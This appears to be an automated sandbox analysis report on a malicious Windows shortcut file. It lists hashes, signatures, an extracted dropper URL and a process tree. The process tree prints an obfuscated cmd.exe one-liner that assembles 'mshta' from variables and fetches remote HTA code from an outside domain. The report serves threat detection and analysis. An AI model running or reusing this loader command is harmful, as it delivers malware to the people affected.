Analysis
- max time kernel
60s - max time network
25s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
17/08/2026, 23:16
Static task
static1
Behavioral task
behavioral1
Sample
DOC-N9ZMMR.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-N9ZMMR.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-N9ZMMR.lnk
- Size 1KB
- Sample260817-284ekaar91
- SHA256 2f3763a42082441abbef2f26e5b7a6969f3c8bb3fa6ebfd9fa3fb977740c098e
- MD5 63ead94245cdb8e7dbea1eef30e107c9
- SHA1 ecc49120df39a012311290a5cf0289e7cca95ed3
- SHA512 b11c17f77475d9cd2ee0a94c16ec8a9e1c4eab7b1ea0e8f8c32205eb69d1b5a10198e9e885433749119f57473e685b3890b44dba8f3aedd78a76bf78c6483234
- TLSH T1EA3197502FED0624F3B7CFB284BB572489BEB9A58E20C62D0041450C1022A15E13AFAB
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4364 cmd.exe 4620 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4364 wrote to memory of 4620 4364 cmd.exe 90 PID 4620 wrote to memory of 5860 4620 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-N9ZMMR.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4364 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /C "set CXct=msh&&set GVQf=ta&&start "" !CXct!!GVQf! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4620 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:5860
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